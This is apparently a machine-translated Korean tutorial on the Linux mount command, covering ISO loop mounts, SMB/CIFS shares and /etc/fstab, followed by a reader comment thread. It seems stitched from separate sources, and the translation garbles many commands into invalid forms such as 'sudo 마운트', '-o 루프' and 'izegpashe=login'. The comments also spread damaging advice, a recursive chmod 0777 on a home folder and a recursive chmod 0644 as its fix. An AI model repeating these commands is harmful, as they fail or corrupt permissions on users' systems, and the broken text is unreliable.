    dmesg 명령의 출력이나 mount.* 실행 파일 목록을 보면 배포판에서 어떤 파일 시스템이 지원되는지 확인할 수 있습니다. 후자는 매우 쉽습니다. 터미널에 mount를 입력하세요. 그리고 탭 키를 누르세요.

    -t에 대해 가능한 모든 값의 전체 목록은 man mount에서 볼 수 있습니다.

    파티션 장착

    마운트된 파티션에 대한 액세스 매개변수는 -o 플래그를 사용하여 지정됩니다. 읽기/쓰기 액세스의 경우 -o rw 플래그가 지정되고 읽기 전용 액세스 -o r®의 경우 플래그가 지정됩니다. 예제에서 읽기 및 쓰기를 활성화해 보겠습니다.

    $ sudo 마운트 -t ext3 -o rw /dev/sdb2 /home/grinder/audio

    메모

    파티션 액세스 매개변수는 mount 명령 출력의 마지막 위치에 지정됩니다.

    그러나 커널 빌드에 따라 마운트된 파티션의 라틴어 파일 이름 인코딩을 읽을 수 없을 수도 있습니다. 명시적으로 나타내자:

    $ sudo mount -t ext3 -o rw,iocharset=utf8,codepage=866 /dev/sdb2

    /홈/그라인더/오디오

    -o iocharset=utf 8 매개변수는 시스템 로케일 인코딩을 명시적으로 설정합니다; Linux Mint에서는 ut f 8이고 codepage=8 66은 러시아어 인코딩에 대한 지원을 추가합니다.

    -o force 매개변수를 사용하면 알 수 없는 이유로 마운트 유틸리티가 일반적인 매개변수로 하드 디스크 파티션 마운트를 거부하는 경우 하드 디스크 파티션을 강제로 마운트할 수 있습니다.

    드라이브에 삽입된 CD도 자동으로 마운트됩니다. 다음과 같이 수동으로 마운트할 수 있습니다.

    $ sudo 마운트 -t iso9660 -o ro /dev/cdrom /mnt

    Ho mount는 ISO 디스크 이미지를 마운트할 수 있다는 점에서도 흥미롭습니다.

    이를 위해 파일 시스템 유형 외에도 -o 루프 매개변수도 지정합니다.

    $ sudo 마운트 -t iso9660 -o 루프 ~/file.iso /home/iso

    파티션을 마운트 해제하려면 장치나 마운트 지점을 지정하기만 하면 됩니다.

    $ sudo umount /dev/sdb2

    $ sudo umount /home/grinder/audio

    네트워크 드라이브는 비슷한 방식으로 마운트됩니다. 즉, 네트워크 이름과 마운트 지점을 지정합니다. 또한 액세스를 위한 로그인 및 비밀번호를 설정할 수 있습니다. 그렇지 않으면 연결 시 비밀번호를 요청하게 되며 사용자가 작업하는 현재 로그인 정보를 사용하게 됩니다. 하지만 먼저 smbfs 패키지를 설치해야 합니다:

    $ sudo 적성 설치 smbfs

    이제 우리는 들어갑니다

    $ sudo mount -t smbfs -o izegpashe=login,password=password //서버/비디오 /home/grinder/video

    메모

    이름 대신 시스템의 IP 주소를 지정할 수 있습니다.

    NTFS 또는 ext2, ext3 파일 시스템이 있는 하드 드라이브를 Linux 운영 체제 기반 컴퓨터에 연결/마운트해야 하는 경우 올바른 문서를 읽고 있는 것입니다.

    최신 Linux 데스크탑 시스템에서는 자동으로 수행하는데 왜 수동으로 수행합니까?

    시스템이 작동하는 경우도 있습니다. 리눅스디스크의 일부 논리적 오류, NTFS/FAT 파티션을 감염시킨 바이러스 또는 기타 비정상적인 이유로 인해 디스크를 자동으로 마운트/연결할 수 없습니다. 이를 위해서는 실제 시스템 관리자가 수동으로 수행합니다. 그리고 mount 명령을 사용하여 이를 수행합니다.

    Linux의 mount 명령은 시스템 관리자가 사용할 수 있는 매우 유연한 도구입니다. mount 명령을 사용하여 네트워크 드라이브, 하드 드라이브 파티션 또는 USB 드라이브를 마운트할 수 있습니다.

    이 문서는 mount 명령에 대한 완전하고 철저한 설명은 아니지만(mount 명령에 대한 전체 설명은 콘솔에서 man mount 명령을 실행하여 찾을 수 있음) 그렇게 하려고 노력하고 있습니다. mount 명령을 설명하는 문서는 지속적으로 업데이트되고 수정됩니다. 댓글에 기사에 관한 모든 제안을 남길 수 있습니다.

    현재 컴퓨터에 연결된 장치는 콘솔에 다음을 입력하여 볼 수 있습니다.

    이 명령은 연결된 모든 장치를 표시합니다. 마운트되지 않을 수도 있지만 연결되어 있습니다. 화면에 다음과 같은 내용이 표시됩니다.

    디스크 /dev/sda: 40.0GB, 40020664320바이트
    255개 헤드, 63개 섹터/트랙, 4,865개 실린더

    디스크 식별자: 0x815aa99a 파티션 테이블 항목이 디스크 순서가 아닙니다.
    디스크 /dev/sdb: 80.0GB, 80026361856바이트
    255개 헤드, 63개 섹터/트랙, 9729개 실린더
    단위 = 16065 * 512 = 8225280바이트의 실린더
    디스크 식별자: 0x973248ad

    장치 로드 시작 끝 블록 ID 시스템
    /dev/sdb1 * 1 9729 78148161 83 리눅스

    디스크 /dev/sdc: 1027MB, 1027604480바이트
    32개 헤드, 62개 섹터/트랙, 1011개 실린더
    단위 = 1984년 실린더 * 512 = 1015808바이트
    디스크 식별자: 0x6f20736b

    위 목록에서 다음이 운영 체제에 연결되어 있음을 알 수 있습니다.
  • 하드 드라이브 2개: /dev/sda - 운영 체제 및 /dev/sdb - "파일 휴지통"
  • 이동식 USB 드라이브: /dev/sdc
  • 마운트된 장치 보기는 다음 명령을 사용하여 수행됩니다.

    그 후에는 화면에서 다음을 볼 수 있습니다.

    /dev/sda1 on / reiserfs 유형(rw,relatime,notail) tmpfs on /lib/init/rw 유형 tmpfs(rw,nosuid,mode=0755)
    /proc의 /proc 유형 proc(rw,noexec,nosuid,nodev)
    /sys 유형 sysfs의 sysfs(rw,noexec,nosuid,nodev)
    /var/run 유형 tmpfs의 varrun(rw,nosuid,mode=0755)
    /var/lock 유형 tmpfs의 varlock(rw,noexec,nosuid,nodev,mode=1777)
    udev on /dev 유형 tmpfs(rw,mode=0755)
    /dev/shm 유형의 tmpfs(rw,nosuid,nodev)
    /dev/pts 유형 devpts의 devpts(rw,noexec,nosuid,gid=5,mode=620)
    /sys/fs/fuse/connections 유형의 fusectl(rw)
    /lib/modules/2.6.27-14-generic/휘발성 유형 tmpfs의 lrm(rw,mode=755)
    /dev/sda3 on /home 유형 ext3(rw,relatime)
    /sys/kernel/security 유형의 securityfs(rw)
    /proc/sys/fs/binfmt_misc의 binfmt_misc 유형 binfmt_misc(rw,noexec,nosuid,nodev)
    /home/user/.gvfs의 gvfs-fuse-daemon 유형 퓨즈.gvfs-fuse-daemon(rw,nosuid,nodev,user=user)
    /media/USBFlash 유형 vfat의 /dev/sdc(rw,nosuid,nodev,uhelper=hal, shortname=mixed,uid=1000,utf8, umask=077,flush)

    • 첫 번째 줄은 루트 파일 시스템이 마운트 매개변수(읽기 및 쓰기 액세스(rw))가 있는 reiserfs 파일 시스템임을 나타냅니다.
    • /dev/sda3은 /home 디스크 파티션입니다.
    • /dev/sdc는 마운트된 이동식 USB 장치입니다.
    /etc/mtab 파일(일부 Linux 시스템에서는 이 파일을 /etc/mnt/tab이라고 함)의 내용을 보면 동일한 결과를 얻을 수 있습니다.
  • 벌새
    3월 27일, 09:27

    다음 명령을 입력한 후: sudo chmod -R 0777 /home/roza/Desktop Debian에서는 오류 메시지가 없었지만 Mint에서는 부팅하는 동안 다음 내용의 메시지가 나타납니다:

    사용자 파일 $HOME/.dmrc에 잘못된 권한이 있어 무시됩니다. 이렇게 하면 기본 세션과 언어가 저장되지 않습니다. 이 파일의 소유자는 사용자여야 하며 파일에는 0644 권한이 있어야 합니다. 사용자의 홈 폴더($HOME)는 사용자가 소유해야 하며 다른 사용자가 쓸 수 없어야 합니다.

    그런 다음 모든 것이 몇 초 동안 정지되고 바탕 화면이 열립니다. 이제 sudo나 su만 사용할 수 없습니다. 터미널이 러시아어로 욕설을 하지 않습니다. ($HOME)에 대한 권한을 복원하는 것이 가능합니까? Mint 라이브 디스크를 사용하여 이 작업을 수행할 수 있습니까?

  • 무트@NT
    3월 29일, 12:13

    Hummingbird: 그런 다음 모든 것이 몇 초 동안 정지되고 바탕화면이 열립니다. 이제 sudo나 su만 사용할 수 없습니다. 터미널이 러시아어로 욕설을 하지 않습니다. ($HOME)에 대한 권한을 복원하는 것이 가능합니까? Mint 라이브 디스크를 사용하여 이 작업을 수행할 수 있습니까?

    글쎄, 권리를 다시 되돌려보십시오.
    sudo chmod -R 0644 /home/roza/Desktop

    그리고 주인:
    sudo chown -R YOUR_LOGIN_IN_MINT /home/roza/Desktop

  • 벌새
    4월 2일, 08:43
  • 무트@NT
    4월 3일, 13:39

    Hummingbird: 여전히 아무것도 작동하지 않았습니다.(. 일반적으로 민트를 사용하여 파티션을 다시 설치했습니다. 가장 중요한 것은 파티션을 마운트하는 방법을 배웠다는 것입니다(방법을 이해하면 더 쉽습니다). 그리고 스스로 교훈도 배웠습니다. 권리를 매우 신중하게 분배하셔야 합니다. 어쨌든 감사합니다!

    추신 가장 중요한 것은 당신이 뭔가를 배웠다는 것입니다))

  • 알렉스 공사중
    5월 19일, 08:41

    감사합니다.
    몇 가지 추가 사항.
    1. 예를 들어, 바이러스에 감염된 Windows 시스템에 연결한 후 내 하드 드라이브 파티션이 마운트되기를 원하지 않았습니다. 바이러스가 내 파티션의 루트에 autorun.exe를 발생시켰고 이로 인해 Linux는 이 파티션을 마운트하기를 원하지 않았습니다.
    autorun.exe 때문이 아니라 Windows가 "잘못" 종료되었을 가능성이 높고 ntfs에 파일 시스템의 무결성을 확인하는 바이트가 있었기 때문에 마운트하고 싶지 않았습니다. 이와 관련하여 "강제"가 없는 ntfs3g는 이러한 FS를 손상시키지 않기 위해 마운트하는 것을 두려워합니다.
    2. "SMB"에 대한 섹션이 있으므로 CIFS를 언급할 가치가 있습니다.
    예를 들어 다음과 같은 내용을 제공합니다.
    mount -t cifs -o 사용자 이름=도메인\사용자 //remote-win2k3-server/C$ /mnt/smb/

  • 네파즈노
    5월 20일, 15:26
  • 토닉
    5월 24일, 03:04
  • 무트@NT
    5월 26일, 17:27

    AlexUnder Construction: 감사합니다. 몇 가지 추가 사항. 1. 예를 들어, 바이러스에 감염된 Windows 시스템에 연결한 후 내 하드 드라이브 파티션이 마운트되기를 원하지 않았습니다. 바이러스가 내 파티션의 루트에 autorun.exe를 발생시켰고 이로 인해 Linux는 이 파티션을 마운트하기를 원하지 않았습니다. autorun.exe 때문이 아니라 Windows가 "잘못" 종료되었을 가능성이 높고 ntfs에 파일 시스템의 무결성을 확인하는 바이트가 있었기 때문에 마운트하고 싶지 않았습니다. 이와 관련하여 "강제"가 없는 ntfs3g는 이러한 FS를 손상시키지 않기 위해 마운트하는 것을 두려워합니다. 2. "SMB"에 대한 섹션이 있으므로 CIFS를 언급할 가치가 있습니다. 예를 들어 다음과 같이 입력합니다: mount -t cifs -o username=domain\user //remote-win2k3-server/C$ /mnt/smb/

    중요하지 않음: NFS 마운트도 설명하면 좋을 것 같습니다.

    의견을 보내주셔서 감사합니다. 몇 가지 추가 사항을 추가하겠습니다.

    Tonik: 그리고 그 기사가 나에게 도움이 되었습니다. 초등! – 마운트하는 방법을 잊어버렸어요... 기사를 빠르게 훑어보고 생각났어요. 작성자에게 정말 감사드립니다!

    자주 오세요 :)

  • 데니스
    6월 11일, 11:47

    기사 주셔서 감사합니다.
    매우 좋은 이해하기 쉽게

  • 류드밀라
    7월 9일, 13:05

    # sudo mount -t smbfs -o 사용자 이름=vasja,password=pupkin //pupkin_v/Video /home/user/video
    작동하지 않고 도움을 줍니다
    용법: ……
    나는 우분투에서 일합니다. 공유 Windows 폴더를 연결해야 합니다
    팀이 잘못된 건 아닐까?

  • 무트@NT
    7월 9일, 22:11

    Lyudmila: # sudo mount -t smbfs -o username=vasja,password=pupkin //pupkin_v/Video /home/user/video가 작동하지 않고 도움말 사용법 제공: ...... 저는 우분투에서 일합니다. 공유된 Windows 폴더를 연결해야 합니다. 명령이 잘못된 것이 아닐까요?


    사용자 이름=vasja, 비밀번호=pupkin
    필수 매개변수로 바꿔야 합니다. 게스트를 대신하여 연결하는 경우 주의해야 합니다. 러시아어와 영어 Windows OS 간에는 뉘앙스와 차이가 있습니다.

  • 안드레이
    8월 31일, 10:04

    우분투에서는 다음과 같아야 합니다:
    mount -t cifs -o 사용자 이름=tridge,password=foobar //fjall/test /mnt/smb/fjall

  • CJ
    9월 14일, 20:28

    cj@Monster:~$ sudo umount /dev/sda1
    umount: /: 장치가 사용 중입니다. (어떤 경우에는 장치를 사용하는 프로세스에 대한 유용한 정보를 lsof(8) 또는 Fuser(1)에서 찾을 수 있습니다.)
    cj@몬스터:~$ df -h
    파일 시스템 크기 사용 Dost 사용 % 마운트됨
    /dev/sdb1 26G 9.1G 16G 37% /
    없음 1.7G 416K 1.7G 1% /dev
    없음 1.7G 0 1.7G 0% /dev/shm
    없음 1.7G 200K 1.7G 1% /var/run
    없음 1.7G 0 1.7G 0% /var/lock
    없음 1.7G 0 1.7G 0% /lib/init/rw
    /dev/sdb6 33G 15G 19G 45% /media/4403D3D754B7C8F5
    /dev/sdb5 30G 22G 8.1G 74% /미디어/Win7
    /dev/sda5 50G 8.9G 41G 18% /미디어/기타
    /dev/sdc1 373G 372G 946M 100% /미디어/스토리지
    /dev/sdb7 94G 88G 5.5G 95% /media/음악 및 게임
    /dev/sda1 26G 9.1G 16G 37% /

  • 블라디미르
    9월 15일, 09:46
  • 무트@NT
    9월 19일 20:14

    CJ: /dev/sda1 디스크를 마운트해야 하는데, 이 시점에 우분투 시스템 파티션이 마운트되어 있지만 "/" 지점에는 이미 마운트되어 있다고 나와 있습니다. 무엇을 해야할지 말해주세요. 이미 괴로워요 :(

    명령의 출력을 표시할 수 있습니다.
    sudo fdisk -l

    블라디미르:
    유일한 언급은 tsya/tsya -TSYA 또는 -TSYA? 사용 시 오류가 있다는 것입니다. 다시 한 번 감사드립니다. :)

    그럴 수도 있습니다 ;) 편집자에게 알려야 합니다 ;)

  • 타라스
    9월 27일, 06:59
  • 무트@NT
    9월 30일, 06:46

    Taras: samba 마운트 명령이 작동하지 않습니다.

    정확히 작동하지 않는 것은 무엇입니까?

  • 로마 인
    11월 2일 20:41

    파일 시스템이 LWM2인데 Linux Mint가 불만을 표시한다면 어떻게 될까요?!
    즉, sudo mount -t lwm2 /dev/sdb /home/user/Video 명령이 허용되지 않습니다.

  • zzzubr
    11월 2일 22:52

    Mut@NT: sudo mount -t ext3 -o rw /dev/hda3 /home/roza/Desktop
    그래서? 즉, 마운트 지점은 /home/roza/Desktop?

    모든 것이 마운트되고 /dev/hda3 파일 시스템이 표시되지만 권한이 충분하지 않은 경우 다음 권한을 추가하기만 하면 됩니다.
    sudo chmod -R 0777 /home/roza/Desktop

    음... 제 생각에는... 별로 좋은 방법은 아닌 것 같습니다... 루트에서 로그인하는 것이 더 정확할 것 같습니다. 이 방법으로 모든 사람과 모든 것에 권한을 부여했기 때문입니다... 그리고 이것은 좋지 않습니다. ...

    이런! 백만 개의 기사가 있다고 해도 여전히 좋은 기사입니다) 그러나 예제가 충분하지 않습니다... 비표준 응용 프로그램을 보고 싶습니다... 예제를 사용하면 모든 것이 이해하기 더 쉽기 때문입니다)
    11월 29일 20:33

  • 무트@NT
    12월 5일 19:34

    maks: Windows였으며 하드 드라이브가 4개의 논리 드라이브(c,d,e,f)로 나누어졌습니다. "c" 드라이브에 ubuntu 10.04를 설치하여 Windows를 파괴했습니다. 이제 액세스 권한이 없으며 다른 논리 드라이브를 볼 수 없습니다. 액세스하려면 어떻게 해야 하는지 알려주세요.

  • 이호르
    12월 6일, 14:41

    >
    >

  • 무트@NT
    12월 14일, 10:48

    Ihor: > 하드 드라이브 파티션 장착
    > ...어떤 마운트 지점이라도 사용할 수 있습니다.
    Big Red Book("by Nemeth"도 들었습니다)에서는 다음과 같이 말합니다. "... 마운트할 폴더에는 파일이 표시되지 않으므로 파일이 없는 것이 좋습니다."

    글쎄, 그것은 말할 필요도 없습니다.

  • 만화
    1월 7일, 22:06

    iso 이미지를 마운트했습니다.

    # sudo mount -t iso9660 -o 루프 /home/op/iso/1.iso /home/op/disk

    그는 비밀스러운 언어로 러시아어 파일 이름을 씁니다.

  • 움니크
    3월 29일 16:15

    많은 기사와 책이 있지만 인간이 쓴 것을 본 것은 이번이 처음입니다. 말하자면 저자에게 보여주고 말한 것은 나 자신을 위한 작은 것을 찾았지만 몇 년 동안 찾을 수 없었습니다. 이해하지 못하고 찾을 수 없었습니다. 저자는 존경받을 가치가 있습니다. 7 년 전 제가 Linux를 탐색하기 시작했을 때 그러한 기사가 제 손에 들어갔다면 매우 기뻤을 것입니다.

    모든 것이 알려졌습니다.

  • 즐로빅
    8월 18일, 08:09

    마운트 테일 청소 방법을 알려주세요. 감사합니다.

  • 네온
    1월 12일, 23:29

    여기서 재미있는 일이 일어났습니다. 부팅 가능한 Windows 플래시 드라이브를 만들어 보았습니다. 일부 "고급" 사용자의 권장 사항에 따라 mkfs 명령을 사용하여 플래시 드라이브를 포맷했습니다. gparted 애플리케이션을 설치하고 플래시 드라이브에 부팅 가능(활성) 플래그를 부여했습니다... 그 후 기적이 시작되었습니다.
    1. 문제: 마운트 및 마운트 해제 명령이 사라졌습니다.
    2. 명령을 복원했지만 또 다른 문제가 있습니다. 파티션을 마운트할 때(어떤 시스템이든) fs는 읽기 모드로 연결되며 액세스 권한을 변경할 수 없습니다. 시스템은 이러한 명령 키에 응답하지 않고 모든 것이 정상이며 작업이 성공적으로 완료되었다고 말합니다.

    결론 어떤 미디어에서든 파일을 선택할 수 있지만 파일을 다른 사람에게 줄 수는 없습니다. fstab에서 기사를 읽었습니다. 파일을 수동으로 다시 썼습니다. 나는 더 이상 변경하지 않았습니다. 그러나 쓰기 및 실행 권한으로 디스크를 마운트하려는 시도는 여전히 실패로 끝났습니다. gparted를 제거하고 시스템을 재부팅한 후 편집한 fstab 파일이 올바르게 작동하기 시작했고 마운트 명령이 복원되었습니다.

    주의 질문: gparted가 이러한 동작을 하는 이유는 무엇이며 어떻게 수행되었습니까? 글쎄, gparted를 삭제하지 않고 이 문제를 처리하는 방법은 무엇입니까?

  • 아가사
    1월 21일, 23:07

    훌륭하고 이해하기 쉬운 기사: 이 기사는 ".. Linux에서 SWAP", ".. fstab이란 무엇입니까?"입니다!
    친애하는 작성자님, 파티셔닝, 디스크 파티셔닝, 파티션 병합, 홈을 다른 파티션으로 이동과 같은 주제를 다루는 몇 가지 글을 더 작성해 주세요.
    정말 좋은 컬렉션이 될 것 같아요!

  • 알렉산더
    4월 7일 00:35

    이 기적의 프로그램의 소스 코드를 어떻게든 얻을 수 있을까요?

  • sbp
    6월 29일, 01:27

    무엇을 해야할지 말해줘?
    일주일 전에 Ubuntu 12.04를 설치했습니다. 부주의한 행동으로 인해 시스템이 충돌했습니다. 디스크에는 250GB의 정보가 들어 있습니다. LiveCD HDD가 보이지만 시작되지 않습니다(오류 발생). 그리고 연결할 방법도 없습니다. 결과는 다음과 같습니다(이 버전에서도).
    root@ubuntu:~# sudo mount -t ext4 -o force /dev/sda1 /
    마운트: 잘못된 fs 유형, 잘못된 옵션, /dev/sda1의 잘못된 슈퍼 블록, 누락된 코드 페이지 또는 도우미 프로그램 또는 기타 오류 어떤 경우에는 syslog에서 유용한 정보를 찾을 수 있습니다. dmesg | 꼬리나 그런거

    웹사이트의 권장 사항을 사용하여 시스템을 복원하려고 했지만 소용이 없었습니다. 디스크에서 부팅할 때 부팅 관리자가 운영 체제를 감지하지 못했음을 나타냅니다.
    무엇을 해야 할지 말해 보세요. 어디에서 "실행"해야 합니까?

  • 영화
    10월 25일, 23:50

    좋은 오후에요. Linux에는 영화 프로젝터용 서버가 있습니다. 프로젝터를 통해 영화를 상영하기 위한 디지털 시네마 프로그램이 내장되어 있다는 점에서 일반적인 것과 다릅니다. 최근 마더보드가 사망하여 교체하고 다른 마더보드를 설치했습니다. 모든 것이 다시 로드되었습니다. 이제 서버에 휴대용 SATA 하드 드라이브가 표시되지 않습니다. 슬레드를 사용하여 연결되어 필름을 서버로 전송합니다(필름 1개의 무게는 90~300GB). 그가 볼 수 있도록 mount 명령을 사용할 수 있습니까? (디스크에 전원이 공급되고 모든 케이블이 연결되어 있지만 여전히 디스크가 보이지 않습니다)

  • 이제 파일 시스템이 생성되었으므로 파티션을 마운트할 수 있습니다. 처음에는 비어 있기 때문에 시스템이 파일 시스템에 파일을 추가하기 위해 파일 시스템에 액세스할 수 없었습니다. 파일 시스템 마운트 명령은 mount이며 구문은 다음과 같습니다.

    -t 옵션은 파티션에 있어야 하는 파일 시스템 유형을 지정하는 데 사용됩니다. 가장 자주 볼 수 있는 파일 시스템은 다음과 같습니다. ext2FS(GNU/Linux 파일 시스템) 또는 ext3FS(저널링 기능을 갖춘 ext2FS의 향상된 버전), VFAT(모든 DOS/Windows ® 파티션용: FAT 12, 16 또는 32) 및 ISO9660(CD-ROM 파일 시스템) 유형을 지정하지 않으면 mount는 슈퍼블록을 읽어 파티션에 어떤 파일 시스템이 있는지 확인하려고 시도합니다.

    -o 옵션은 하나 이상의 마운트 옵션을 지정하는 데 사용됩니다. 개별 파일 시스템에 적용되는 옵션은 사용 중인 파일 시스템에 따라 다릅니다. 자세한 내용은 mount(8) 매뉴얼 페이지를 참조하십시오.

    이제 새 파티션을 마운트했으므로 전체 /usr 디렉토리를 여기에 복사할 차례입니다.

    따라서 새 파티션을 마운트 해제하려면 다음을 입력하면 됩니다.

    이 명령은 장치를 비활성화하고 가능하면 해당 장치에 대해 열려 있는 모든 핸들을 닫습니다. 일반적으로 Eject 명령을 사용하여 디스크를 꺼낼 수 있습니다. 음... 꺼내기 명령이 아무 작업도 수행하지 못하고 재부팅하고 싶지 않다면 지연 마운트 해제를 사용하세요.

    이 파티션이 /usr 디렉토리가 "되기" 때문에 시스템에 이에 대해 알려야 합니다. 이를 위해 /etc/fstab 파일을 편집합니다. 특히 시스템 부팅 시 특정 파일 시스템의 마운트를 자동화할 수 있습니다. 여기에는 파일 시스템, 해당 마운트 지점 및 기타 옵션을 설명하는 줄이 포함되어 있습니다. 다음은 그러한 파일의 예입니다.

    /dev/hda1 / ext2 기본값 1 1 /dev/hda5 /home ext2 기본값 1 2 /dev/hda6 스왑 스왑 기본값 0 0 /dev/hdc /mnt/cdrom 자동 umask=0,user,noauto,ro,exec,users 0 0 없음 /mnt/floppy 슈퍼마운트 dev=/dev/fd0,fs=ext2:vfat,--,sync,umask=0 0 0 없음 /proc proc 기본값 0 0 없음 /dev/pts devpts 모드=0622 0 0

    각 줄은 다음으로 구성됩니다.

    • 파일 시스템을 포함하는 장치;
    • 마운트 포인트;
    • 파일 시스템 유형;
    • 장착 옵션;
    • 깃발백업 유틸리티의 경우 dump ;
    • fsck를 사용하여 파일 시스템을 확인하는 순서( 파일시스템 검사).

    언제나루트 파일 시스템에 대한 항목이 있습니다. 스왑 파티션은 특별하므로 트리 구조에 표시되지 않으며 이러한 파티션의 마운트 지점 필드에는 항상 스왑 키워드가 포함됩니다. /proc 파일 시스템에 대해서는 10장에서 자세히 설명합니다. 파일 시스템 /proc. 또 다른 특수 파일 시스템은 /dev/pts입니다.

    이 시점에서 전체 /usr 계층 구조를 /dev/hdb1로 이동했으며 이제 시스템 부팅 시 이 파티션을 /usr로 마운트해야 합니다. 이렇게 하려면 /etc/fstab 파일에 다음 항목을 추가하십시오.

    /dev/hdb1 /usr ext2 기본값 1 2

    이제 부팅할 때마다 파티션이 마운트되고 필요한 경우 오류가 있는지 확인됩니다.

    noauto와 user라는 두 가지 특수 옵션이 있습니다. noauto 옵션은 파일 시스템이 부팅 시 마운트되지 않고 사용자가 선택한 경우에만 마운트되어야 함을 지정합니다. user 옵션은 모든 사용자가 이 파일 시스템을 마운트하거나 마운트 해제할 수 있도록 지정합니다. 이 두 가지 옵션은 일반적으로 CD-ROM 드라이브와 플로피 드라이브에 사용됩니다. 더 많은 옵션이 있으며 자세한 내용을 읽을 수 있는 /etc/fstab(fstab(5))에 대한 매뉴얼 페이지가 있습니다.

    /etc/fstab 사용의 이점 중 하나는 mount 명령 구문을 단순화한다는 것입니다.



    mob_info